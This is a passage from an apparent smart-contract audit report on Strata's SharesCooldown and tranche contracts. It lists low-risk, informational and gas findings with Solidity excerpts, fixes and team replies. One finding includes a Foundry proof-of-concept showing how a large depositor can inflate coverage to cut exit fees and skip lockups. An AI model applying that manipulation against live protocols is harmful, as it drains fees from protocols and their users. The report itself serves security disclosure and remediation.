- **Create a new `finalize` function that is permissioned and only allows the withdrawer to call it.** The difference between this function and the suggested mitigation for *Finalizing withdrawal requests on the `SharesCooldown` contract allows for third-parties to override user's chosen output token* is that **this new function should allow the withdrawer to specify the asset to receive**, whilst the permissionless version should not (The permissionless version must preserve the original choice at the moment of the withdrawal request).

Strata: Fixed in commit 0354983.

Cyfrin: Verified. New function `SharesCooldown::finalizeWithTokenOverride` allows the withdrawers to finalize their withdrawal requests, specifying the `token` they wish to receive

7.2 Low Risk

7.2.1 Invalid validateRedemptionParams check

Description: The `withdraw` and `redeem` functions were designed to provide UX-level slippage protection by requiring user-supplied exit parameters to match the protocol-calculated exit mode. If conditions change, the transaction is expected to revert, as stated by the protocol.

However, `validateRedemptionParams` currently returns instead of reverting when user parameters do not match system parameters. This completely pass any slippage protection and breaking the UX guarantee described by the team.

```
function validateRedemptionParams(TRedemptionParams memory params, IStrataCDO.TExitMode exitMode,
↪  uint256 exitFee, uint32 cooldownSec) internal pure {
        if (params.exitMode == IStrataCDO.TExitMode.Dynamic) {
            return;
        }
        if (params.exitMode != exitMode || params.exitFee != exitFee || params.cooldownSeconds !=
        ↪  cooldownSec) {
            return;
        }
        revert RedemptionParamsMismatch(params, TRedemptionParams({
            exitMode: exitMode,
            exitFee: exitFee,
            cooldownSeconds: cooldownSec
        }));
    }
```

Recommended Mitigation: The `validateRedemtionParams` function should revert instead of return if at least one of the parameters does not match. Also, revert at the end of the function should be replaced with return.

Strata: Fixed in commit **652a5c1**

7.2.2 Allowance-Based Withdrawals Can Revert Due to Cooldown Request Slot Limits

Description: The tranche withdraw/redeem logic allows third parties to withdraw on behalf of a user via allowance:

```
if (caller != owner) {
    _spendAllowance(owner, caller, sharesGross);
}
```

When such a withdrawal is executed using `SharesLock` exit mode, the shares are transferred into the cooldown system and a redeem request is created via `requestRedeem`.

Inside `requestRedeem`, cooldown requests are rate-limited for external receivers:

```
if (initialFrom != to && requestsCount >= PUBLIC_REQUEST_SLOTS_CAP) {
    revert ExternalReceiverRequestLimitReached(...);
}
```

This condition treats any case where `initialFrom != to` as an external receiver, including scenarios where a trusted third party withdraws via allowance and sets `to = caller`. As a result, legitimate allowance-based `withdrawals` can unexpectedly hit the public request slot cap and revert.

This behavior is non-obvious and not enforced at the allowance-checking level, creating an implicit constraint on delegated withdrawals that integrators and users are unlikely to anticipate.

Impact: Allowance-based withdrawals using SharesLock can unexpectedly revert due to cooldown request slot limits, breaking integrations and delegated workflows.

Recommended Mitigation: Explicitly account for allowance-based withdrawals in cooldown request validation, or clearly document this limitation and its implications for delegated withdrawals.

Strata: Fixed in commit 6a9d7a7.

Cyfrin: Verified. Now, when the `receiver` is either the `caller` or the `owner`, `initialFrom` is set as the `receiver`, which treats the withdrawal request as a `Private Request` and does not count toward the `Public Limit Cap`.

7.2.3 finalizeWithFee lacks race conditioning protection

Description: `finalizeWithFee` does not provide any user-defined bounds on the resulting fee or claimed amount, making the outcome sensitive to state changes between transaction submission and execution. The effective fee can change if new requests are merged (especially when hitting the 70th slot), if `vaultEarlyExitFeePerDay` is updated, or if the execution crosses a day boundary which increases `daysLeft`.

Additionally, reordering of requests due to `cancel/finalize` can change which request index is finalized, potentially causing unexpected reverts. As a result, users cannot reliably predict or cap the cost of early finalization at the time they sign the transaction.

Recommended Mitigation: Allow users to specify explicit bounds (e.g. maxFee) when calling `finalizeWithFee` and revert if those bounds are violated. This provides slippage-style protection against fee changes, timing effects, and request mutations.

Strata: Fixed in commit 092a08b.

Cyfrin: Verified. Now, users can input slippage protection when calling `finalizeWithFee`. The slippage protection is optional; users can choose not to specify it and accept the calculated values at execution time.

7.3 Informational

7.3.1 SharesCooldown Merges Redemption Requests, Making Them Indivisible for Cancel and Early Exit

Description: `SharesCooldown` merges multiple redemption requests into a single request entry when:

1. the user exceeds `MAX_ACTIVE_REQUEST_SLOTS`
2. two requests(last one and current) have the same `unlockAt` (e.g., created in the same block).

```
if (requestsCount < MAX_ACTIVE_REQUEST_SLOTS) {
            if (
                requestsCount > 0 &&
                requests[requestsCount - 1].unlockAt == unlockAt
            ) {
                // is requested within current block
                TRequest storage last = requests[requestsCount - 1];
                last.shares += uint192(shares);
            } else {
                requests.push(TRequest(unlockAt, uint192(shares)));
            }
        } else {
            TRequest storage last = requests[requestsCount - 1];
            last.shares += uint192(shares);
            if (last.unlockAt < unlockAt) {
                last.unlockAt = unlockAt;
            }
        }
```

After merging, these requests become indivisible: `cancel()` and `finalizeWithFee()` operate only on entire request entries, so users cannot selectively cancel or early-exit part of their originally submitted withdrawals. All merged shares must be handled together.

This merge logic is inherited from `ERC20Cooldown` / `UnstakeCooldown`, but unlike those systems, `SharesCooldown` introduces `cancel()` and `finalizeWithFee()`, where per-request granularity matters.

Example scenario:

1. User submits a redemption of 100 shares (cooldown 7 days).
2. Later submits another redemption of 10 shares with the same unlock time (or after hitting the slot cap).
3. Both are merged into one request of 110 shares.
4. The user cannot cancel or early-exit only the 10 shares — any cancel() or finalizeWithFee() must act on all 110 shares.

Recommended Mitigation: Document that merged requests become indivisible for cancel and finalizeWithFee, or avoid merging and keep one request per redemption call.

Strata: Acknowledged.

7.3.2 SharesCooldown Does Not Enforce Spec-Defined Pause Lockup Rules

Description: The spec (SIP-01 §7) requires that when redemptions are paused:

- Finalization must revert
- Locked shares must remain held in the Silo

However, cancel() allows users to bypass this by retrieving their shares even during a global pause:

```
    function cancel(IERC20 vault, address user, uint256 i) external onlyUser(user) {

        TRequest[] storage requests = activeRequests[address(vault)][user];
        uint256 len = requests.length;
        require(i < len, "OutOfRange");
```

```
        TRequest memory req = requests[i];
        if (i < len - 1) {
            requests[i] = requests[len - 1];
        }
        requests.pop();
        vault.transfer(user, req.shares); // @note   cancel ?
        emit RequestCanceled(address(vault), user, req.shares);
    }
```

Remediation: Update the specification to reflect that cancellation are always allowed and pauses do not fully lock shares.

Strata: SIP updated here: 69f3eb58

Cyfrin: Verified.

7.3.3 Unreachable code on `SharesCooldown::requestRedeem`

Description: `SharesCooldown::requestRedeem` has a conditional to handle the case when `cooldownSeconds` is received as 0 (instant redemption), but, this function is only called when `cooldownSeconds > 0`.

- `StrataCDO::calculateExitMode` assigns the `exitMode` as `SharesLock` only when `exit.sharesLock > 0`, and, `Tranche::_withdraw` calls `CDO::cooldownShares` only when `exitMode` is `sharesLock`.

```
    function calculateExitMode (address tranche, address owner) external view returns (TExitMode mode,
    ↪  uint256 fee, uint32 cooldownSeconds) {
        if (address(sharesCooldown) != address(0)) {
            ...
            if (exit.sharesLock > 0) {
//@audit => exitMode is set as SharesLock only when a cooldown will be applied
@>              return (TExitMode.SharesLock, fee, exit.sharesLock);
            }
        }
        ...
    }

    function _withdraw(
        ...
    ) internal virtual {
        ...

//@audit => CDO.cooldownshares gets called only when exitMode is set as SharesLock
        if (exitMode == IStrataCDO.TExitMode.SharesLock) {
            ...
            cdo.cooldownShares(address(this), sharesGross, owner, receiver, exitFee, cooldownSec);
            return;
        }

        ...
        cdo.withdraw(address(this), token, tokenAssets, baseAssets, owner, receiver);
        ...
    }
```

Recommended Mitigation: Consider removing the case when `cooldownSeconds` is 0, as the execution flow won't call `CooldownShares.requestRedeem` when there is no cooldown.

Strata: Acknowledged. In the current flow, the check and instant redemption path is indeed unreachable; however, we prefer to keep it for consistency with ERC20Cooldown, and in case we later introduce additional flows from other strategies that do not include this initial check.

7.3.4 Parameter `at` in `SharesCooldown::finalize` is functionally redundant

Description: The `finalize` functions expose an `at` parameter that suggests the ability to finalize claims "as of" a specific timestamp. In practice this parameter provides no real control or flexibility. The only validation applied is `at <= block.timestamp`.

```
function extractClaimableInner(address vault, address user, uint256 at) internal returns (uint256
↪  claimable) {
        if (at > block.timestamp) {
            revert InvalidTime();
        }
        ...

        uint256 len = requests.length;
        for (uint256 i; i < len; ) {
            ..
            if (isCooldownActive && req.unlockAt > at)
        }
        ...
    }
```

As a result, passing any `at` value in the past yields the same behavior as passing `block.timestamp`, and there is no way to use `at` to selectively finalize a subset of requests or to simulate historical finalization.

Recommended Mitigation: Remove `finalize` with `at` functions

Strata: Acknowledged. This parameter allows users to finalize only a subset of completed requests, rather than all eligible redemption requests at once.

7.3.5 Coverage manipulation enables whale to consistently obtain best exit terms for withdrawals

Description: Exit parameters for `SharesCooldown` (fee and sharesLock) are selected based on the current `coverage()` value in `StrataCDO`. Coverage is computed from unlocked tranche TVLs, i.e. `(jrtNav - lockedJrt) / (srtNav - lockedSrt)`, and is evaluated at the time of requesting the withdrawing.

```
    function totalAssetsUnlocked() public view returns (uint256 jrtNav, uint256 srtNav) {
        (jrtNav, srtNav, ) = accounting.totalAssetsT0(); //   TVL

        uint256 jrtNavLocked = jrtVault.convertToAssets(jrtVault.balanceOf(address(sharesCooldown)));
        uint256 srtNavLocked = srtVault.convertToAssets(srtVault.balanceOf(address(sharesCooldown)));

        jrtNav = jrtNav > jrtNavLocked ? jrtNav - jrtNavLocked : 0;
        srtNav = srtNav > srtNavLocked ? srtNav - srtNavLocked : 0;
        return (jrtNav, srtNav);
    }

    function coverage () public view returns (uint32 coverage) {
        (uint256 jrtNav, uint256 srtNav) = totalAssetsUnlocked();
        if (srtNav == 0) {
            return type(uint32).max;
        }
        uint256 coverage = jrtNav * 1e6 / srtNav; //
        return coverage > type(uint32).max ? type(uint32).max : uint32(coverage);
    }
```

Because coverage is a spot value and depends directly on tranche TVLs, a large depositor can temporarily increase `jrtNav` (via a large JRT deposit) right before initiating an redemption to push coverage into a more favorable band, obtain reduced fee / reduced cooldown (potentially no lock), and then unwind the temporary JRT position after the SRT redemption. This works especially well for SRT exits because the attacker benefits from (1) increasing `jrtNav` first to improve coverage, and (2) reducing `srtNav` via their own SRT withdrawal, which keeps coverage favorable for immediately exiting the temporary JRT position as well.

PoC demonstrates this with the reference spec bounds:

1. Starting state: `jrtNav = 10,000`, `srtNav = 100,000` (coverage = 10%), which normally places SRT exits into a worse band (e.g., r1: 0.7% fee + 7h lock).
2. Whale deposits `30,001` into JRT, pushing coverage to ~40% and reaching the best SRT band (r2: 0.15% fee, no lock).
3. Whale redeems 40,000 from SRT immediately under r2 terms.
4. Whale redeems the temporary JRT deposit after, and finalizes the underlying UnstakeCooldown later.
5. The logged output shows the whale pays materially less than the baseline fee they would pay without manipulating coverage (and avoids the intended lockup / reduced waiting time).

Normal fee that whale could pay is 40,000 * 0.7% = 280 USDE. But whale will pay is only ~137 USDe.

This is not limited to "best band" outcomes: even partial coverage improvements allow the whale to pay meaningfully lower fees and/or reduce wait time (e.g., "7 days → 1 day", "0.7% → 0.15%"), making the mechanism systematically gameable by accounts with large balances. If the best band for any vault ever has `sharesLock == 0`, then any actor with access to cheap/flash liquidity can temporarily move coverage to that band and exit immediately.

Impact: A whale can bypass intended coverage-based protections for SRT exits by temporarily inflating coverage, resulting in:

1. Reduced protocol fee capture (systematically lower exit fees than intended for large exits).
2. Cooldown bypass / shortened waiting period (including "no lock" if configured).

Proof of Concept: Paste this file to `Poc/Cyfrin`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import { CDOTest } from "../../CDO.t.sol";
import { IStrataCDO } from "../../../contracts/tranches/interfaces/IStrataCDO.sol";
import { IUnstakeHandler } from "../../../contracts/tranches/interfaces/cooldown/IUnstakeHandler.sol";
import { ERC4626 } from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {console} from "forge-std/console.sol";
import {SharesCooldown} from "../../../contracts/tranches/base/cooldown/SharesCooldown.sol";
import {AccessControlled} from "../../../contracts/governance/AccessControlled.sol";
import {ISharesCooldown} from "../../../contracts/tranches/interfaces/cooldown/ISharesCooldown.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { CooldownBase } from "../../../contracts/tranches/base/cooldown/CooldownBase.sol";
import { UnstakeCooldown } from "../../../contracts/tranches/base/cooldown/UnstakeCooldown.sol";
import { ICooldown } from "../../../contracts/tranches/interfaces/cooldown/ICooldown.sol";


contract JrtSrtRatioViolationTest is CDOTest {

    function test_coverage_manipulation() public {
        address whale = address(0x1234);
        address owner = cdo.owner();
        vm.startPrank(owner);
        SharesCooldown sharesCooldown = SharesCooldown(
            address(
                new ERC1967Proxy(
                    address(new SharesCooldown()),
                    abi.encodeWithSelector(CooldownBase.initialize.selector, owner, address(acm))
                )
            )
        );
        AccessControlled(sharesCooldown).setTwoStepConfigManager(owner);
        acm.grantRole(keccak256("COOLDOWN_WORKER_ROLE"), address(cdo));
        // 2. Register sharesCooldown in CDO
```

```
cdo.setSharesCooldown(ISharesCooldown(address(sharesCooldown)));


// Set up real spec exit bands per reference
SharesCooldown.TExitUpperBounds memory jrtExitBounds = ISharesCooldown.TExitUpperBounds({
    p0: 5000,     // 0.5% (in ppm)
    p1: 23000,    // 2.3% (in ppm)
    r0: ISharesCooldown.TExitParams({ feePpm: 10000, sharesLock: 2 days }),   // 1% fee + 2 days
    ↪  lock
    r1: ISharesCooldown.TExitParams({ feePpm: 5000, sharesLock: 8 hours }),   // 0.5% fee + 8h
    ↪  lock
    r2: ISharesCooldown.TExitParams({ feePpm: 300, sharesLock: 0 })           // 0.03% fee, no
    ↪  lock
});
SharesCooldown.TExitUpperBounds memory srtExitBounds = ISharesCooldown.TExitUpperBounds({
    p0: 20000,     // 2% (in ppm)
    p1: 400000,    // 40% (in ppm)
    r0: ISharesCooldown.TExitParams({ feePpm: 10000, sharesLock: 3 days }),   // 1% fee + 3 days
    ↪  lock
    r1: ISharesCooldown.TExitParams({ feePpm: 7000, sharesLock: 7 hours }),   // 0.7% fee + 7h
    ↪  lock
    r2: ISharesCooldown.TExitParams({ feePpm: 1500, sharesLock: 0 })          // 0.15% fee, no
    ↪  lock
});
sharesCooldown.setVaultExitBounds(address(jrtVault), jrtExitBounds);
sharesCooldown.setVaultExitBounds(address(srtVault), srtExitBounds);

// Scenario setup
// Initial state:
//   JRT unlocked = 10,000
//   SRT unlocked = 100,000
//   Coverage = 10%

// Bootstrap the JRT/SRT pools to have JRT=10_000, SRT=100_000
address bootstrapper = address(0xdeadbeef);
USDe.mint(bootstrapper, 10000 ether);
USDe.mint(bootstrapper, 60000 ether);
vm.startPrank(bootstrapper);
USDe.approve(address(jrtVault), 10000 ether);
jrtVault.deposit(10000 ether, bootstrapper);
USDe.approve(address(srtVault), 60000 ether);
srtVault.deposit(60000 ether, bootstrapper);
vm.stopPrank();

USDe.mint(whale, 80001 ether);
// Whale's initial SRT deposit for withdrawal
vm.startPrank(whale);
USDe.approve(address(srtVault), 40000 ether);
srtVault.deposit(40000 ether, whale); // initially not deposited yet, to start at 100k (see
↪  below)
vm.stopPrank();

// Now SRT = 40,000 + 60,000 = 100,000
//    JRT = 10,000

// Whale wants to withdraw 30,000 SRT (would normally hit 0.7% fee + 7h lock)

// Step 1: Whale makes a huge deposit into JRT to manipulate coverage
vm.startPrank(whale);

USDe.approve(address(jrtVault), 30001 ether);
jrtVault.deposit(30001 ether, whale);
```

```
        // After this JRT = 10,000 + 30,001 = 40,001
        // SRT still 100,000

        // Coverage = 40,001 / 100,000 = 40.001% (triggers SRT fee/lock lowering to r2)

        // Step 2: Whale immediately withdraws 30,000 SRT at lowest fee, no cooldown
        // Step 2: Whale immediately redeems SRT to receive 30000 assets before fees (fee will apply on
        ↪  top)
        uint256 srtAssetsToReceive = 40000 ether;
        uint256 srtSharesToRedeem = srtVault.previewRedeem(srtAssetsToReceive);
        srtVault.redeem(srtSharesToRedeem, whale, whale);

        // Step 3: Whale redeems temporary JRT to receive 29991 assets before fees (fee will apply on
        ↪  top)
        uint256 jrtAssetsToReceive = 30001 ether;
        uint256 jrtSharesToRedeem = jrtVault.previewRedeem(jrtAssetsToReceive);
        jrtVault.redeem(jrtSharesToRedeem, whale, whale);


        uint256 whaleBalanceBefore = USDe.balanceOf(whale);
        vm.warp(block.timestamp + 7 days); // wait because SharesCooldown redeem automatically withdraw
        ↪  on USDe and we need to wait UnstakeCooldown period.
        unstakeCooldown.finalize(sUSDe, whale);
        uint256 whaleBalanceAfter = USDe.balanceOf(whale);
        uint256 whaleReceived = whaleBalanceAfter - whaleBalanceBefore;
        console.log("Received: ", whaleReceived);
        uint256 fee = 70001 * 1e18 - whaleReceived;
        console.log("Fee: ", fee); // Fee is ~137 USDe, while we will pay 280 USDe in normal scenario
        vm.stopPrank();

    }
}
```

Recommended Mitigation: When defining the `TExitUpperBounds` on the `SharesCooldown`, take into consideration the following two recommendations:

- Define fees for the different coverage ranges, such as the cost of round-tripping JRT and SRT across bands, is neutralized (e.g., `jrt.r2.fee + srt.r2.fee  srt.r1.fee`, and similarly for other bands).
- Implement a minimum lock-up period for the R2 band to further disincentivize manipulation of the coverage percentage by instant deposit and withdrawals on the Junior Tranche.

Ideally, refactor the `TwoStepConfigManager::validateBounds` function to have clear ranges for fees and sharesLock depending on the coverage range, minimum and maximum for each value within their range.

Strata: Acknowledged. The `coverage boundaries` are not strict invariants that must be preserved.

7.3.6 sUSDe withdrawals can be blocked by receiver restrictions

Description: Finalization paths that attempt to deliver `sUSDe` to the user can revert if the receiver is in `FULL_RESTRICTION MODE`. The sUSDe token enforces transfer restrictions via `_beforeTokenTransfer`, which blocks transfers from or to addresses with `FULL_RESTRICTED_STAKER_ROLE`, causing sUSDe-based finalization during SharesCooldown to revert.

```
/**
   * @dev Hook that is called before any transfer of tokens. This includes
   * minting and burning. Disables transfers from or to of addresses with the
   ↪  FULL_RESTRICTED_STAKER_ROLE role.
   */

  function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
```

```
    }
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
      revert OperationNotAllowed();
    }
  }
```

A realistic scenario is that the user is not restricted at the time of `requestRedeem`, but becomes restricted during the cooldown period; once the cooldown expires, any attempt to finalize in `sUSDe` fails. As a result, the user is effectively forced to finalize through `USDe`, incurring an additional unstake cooldown and altering the expected exit behavior.

Recommended Mitigation: The protocol should account for potential sUSDe restriction changes at finalization time

Strata: Cyfrin:

7.3.7 Coverage depends on raw sharesCooldown balances and can be griefed

Description: `coverage()` is derived from `totalAssetsUnlocked()`, which subtracts convertToAssets(vault.balanceOf(address(sharesCooldown)))‘ from tranche NAVs.

```
    function totalAssetsUnlocked() public view returns (uint256 jrtNav, uint256 srtNav) {
        (jrtNav, srtNav, ) = accounting.totalAssetsTO();

        uint256 jrtNavLocked = jrtVault.convertToAssets(jrtVault.balanceOf(address(sharesCooldown)));
        uint256 srtNavLocked = srtVault.convertToAssets(srtVault.balanceOf(address(sharesCooldown)));

        jrtNav = jrtNav > jrtNavLocked ? jrtNav - jrtNavLocked : 0;
        srtNav = srtNav > srtNavLocked ? srtNav - srtNavLocked : 0;
        return (jrtNav, srtNav);
    }
```

This means coverage depends on the raw ERC20 share balances held by SharesCooldown, not on its internal `activeRequests`. As a result, shares sent directly to `SharesCooldown` become permanently “locked” from the accounting perspective and will distort coverage forever.

Recommended Mitigation: Prevent direct transfer of shares to SharesCooldown so that excess balance cannot affect coverage.

Strata: Cyfrin:

7.3.8 `Tranche::maxWithdraw` can understate the max withdrawal for the `SharesCooldown` contract

Description: When the owner is `SharesCooldown`, the CDO explicitly exempts it from exit fees / lockups:

```
if (owner == address(sharesCooldown)) {
    return (TExitMode.ERC4626, 0, 0);
}
```

But `Tranche.maxWithdraw(owner)` derives `assetsNet` using `previewRedeem(sharesGross)`, and `previewRedeem` hardcodes `address(0)` as the owner when it queries exit conditions:

```
function maxWithdraw(address owner) public view returns (uint256 assetsNet) {
    uint256 sharesGross = balanceOf(owner);
    assetsNet = Math.min(previewRedeem(sharesGross), cdo.maxWithdraw(address(this), owner));
}

function previewRedeem(uint256 sharesGross) public view returns (uint256 assetsNet) {
    (, uint256 fee,) = cdo.calculateExitMode(address(this), address(0));
    assetsNet = quoteRedeem(sharesGross, fee);
}
```

As a result, `maxWithdraw(address(sharesCooldown))` can be understated because `previewRedeem` may include an exit fee that does not apply to `SharesCooldown`.

Recommended Mitigation: In `maxWithdraw(owner)` take into account `SharesCooldown`

Alternatively, given that `SharesCooldown` only interacts with the redemption execution path (`Tranche::redeem`), consider documenting that `Tranche::maxWithdraw`, as well as `Tranche::previewRedeem` functions don't discount the fees exemption applied for the `SharesCooldown` contract.

Strata: Fixed in commit 4b49a00.

Cyfrin: Verified. `Tranche::maxWithdraw` and `Tranche::previewRedeem` inline comments now state that these functions are for public usage.

7.3.9 Misleading revert message in onlyUser modifier

Description: The `onlyUser` modifier restricts access by checking `msg.sender == user`, however the revert message uses "OnlyOwner", which is misleading since the restricted role is not an owner but a specific user address.

Recommended Mitigation: Update the revert message to accurately reflect the enforced role (e.g. "OnlyUser" or "Unauthorized")

Strata: Fixed in commit b2ddea9.

Cyfrin: Verified.

7.3.10 Misleading owner field in OnMetaWithdraw event

Description: `OnMetaWithdraw` event emit receiver as the first argument, while the parameter is named owner. Since owner, caller, and receiver can differ, this semantic mismatch may mislead off-chain indexers

Recommended Mitigation: Rename the event parameter to receiver, or include both owner and receiver explicitly

Strata: Fixed in commit 1021020.

Cyfrin: Verified.

7.4 Gas Optimization

7.4.1 Skip call to `CDO::accrueFee` when there are no fees to charge

Description: During a withdrawal/redemption, when the `TExitMode` is != than `SharesLock`, `CDO::accrueFees` is called to charge any fees that may have to be paid for the withdrawal, but there are multiple cases when no fees are charged (i.e., when finalizing a withdrawal from the `SharesCooldown`.

```
    function _withdraw(
        ...
    ) internal virtual {
       ...

        if (exitMode == IStrataCDO.TExitMode.SharesLock) {
            ...
        }

        uint256 baseAssetsGross = convertToAssets(sharesGross);
        uint256 fee = Math.saturatingSub(baseAssetsGross, baseAssets);

        _burn(owner, sharesGross);
//@audit => No need to call cdo.accrueFee when no fees will be charged
@>      cdo.accrueFee(address(this), fee);
        ...
    }
```

Recommended Mitigation: In the scenarios where no fees will be charged, it is not necessary to call `CDO::accrueFees`.

Strata: Fixed in commit b690dcd.

Cyfrin: Verified.

7.4.2 Redundant `user` parameter as it can only be set to `msg.sender` on `SharesCooldown::finalizeWithFee` and `SharesCooldown::cancel` functions

Description: `SharesCooldown::finalizeWithFee` and `SharesCooldown::cancel` functions restrict the `user` parameter to being the `msg.sender`; if any other value is set, the tx reverts, which means using that parameter is redundant because `msg.sender` could be directly used.

```
    modifier onlyUser (address user) {
@>      require(msg.sender == user, "OnlyOwner");
        _;
    }

function finalizeWithFee(ITranche vault, address user, uint256 i) external onlyUser(user) returns
↪  (uint256 claimed) {
        ...
}

function cancel(IERC20 vault, address user, uint256 i) external onlyUser(user) {
        ...
}
```

Recommended Mitigation: Consider removing the `user` parameter from the functions `finalizeWithFee` and `cancel`. Instead, use `msg.sender`.

Strata: Acknowledged. Keep it for consistency with the permissionless interface. Additionally, we may later introduce new roles for finalization, allowing third parties to finalize on behalf of users.